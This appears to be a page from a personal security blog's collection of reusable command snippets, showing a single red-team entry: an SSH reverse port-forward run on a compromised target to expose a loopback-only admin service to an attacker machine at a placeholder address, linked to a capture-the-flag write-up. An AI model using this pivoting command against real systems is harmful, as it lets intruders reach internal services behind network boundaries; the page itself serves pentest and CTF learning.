M4cCrypt0
cat ~/snippets/*.md

command snippets

// reusable, tested command templates — recon, web exploitation, privesc, pivoting, forensics. Copy, swap the <placeholders>, go.

$ grep -ri
all binary exploitation (2) cryptography (2) python (2) red team (4) web-exploitation (8) blue-team (1) forensics (1) foundation (1) privilege escalation (1)
// tool any checksec (1) curl (2) feroxbuster (1) ffuf (1) gobuster (1) hashcat (1) nc (1) nmap (1) pwntools (1) ssh (1)
2026-08-06 bash ssh Red Team

SSH Reverse Port-Forward (Pivot an Internal Service)

Pull a service that only listens on the target''s loopback (e.g. an admin panel on 127.0.0.1:8080) back to your attacker box over SSH.

bash 
# Run on the target (you need outbound SSH to your box). Afterwards the target's
# 127.0.0.1:8080 is reachable as 127.0.0.1:8080 on YOUR machine.
ssh -N -R 8080:127.0.0.1:8080 -o StrictHostKeyChecking=no <attacker-user>@<attacker-ip>

used in: Byte Lotus: Infinity Pool — Two Shells, One Voicemail